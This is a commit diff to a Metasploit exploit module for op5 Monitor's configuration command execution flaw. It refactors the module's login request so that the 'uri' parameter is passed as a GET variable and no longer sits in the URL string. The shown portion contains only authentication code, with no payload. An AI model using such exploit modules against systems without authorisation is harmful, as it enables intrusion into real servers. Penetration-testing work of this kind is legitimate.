pulling out the get params

2016-06-15 12:27:31 -04:00 · 2016-06-15 12:27:31 -04:00 · 81fa068ef0
parent 52db99bfae
commit 81fa068ef0
1 changed files with 6 additions and 2 deletions
--- a/modules/exploits/linux/http/op5_config_exec.rb
+++ b/modules/exploits/linux/http/op5_config_exec.rb
@ -91,9 +91,13 @@ class MetasploitModule < Msf::Exploit::Remote

      # login
      res = send_request_cgi(
-        'uri'       => normalize_uri(target_uri.path, 'monitor/index.php/auth/login?uri=tac%2Findex'),
+        'uri'       => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),
        'method'    => 'POST',
-        'vars_post'  =>
+        'vars_get'  =>
+        {
+          'uri' => 'tac/index'
+        },
+        'vars_post' =>
        {
          'csrf_token' => '',
          'username'   => datastore['USERNAME'],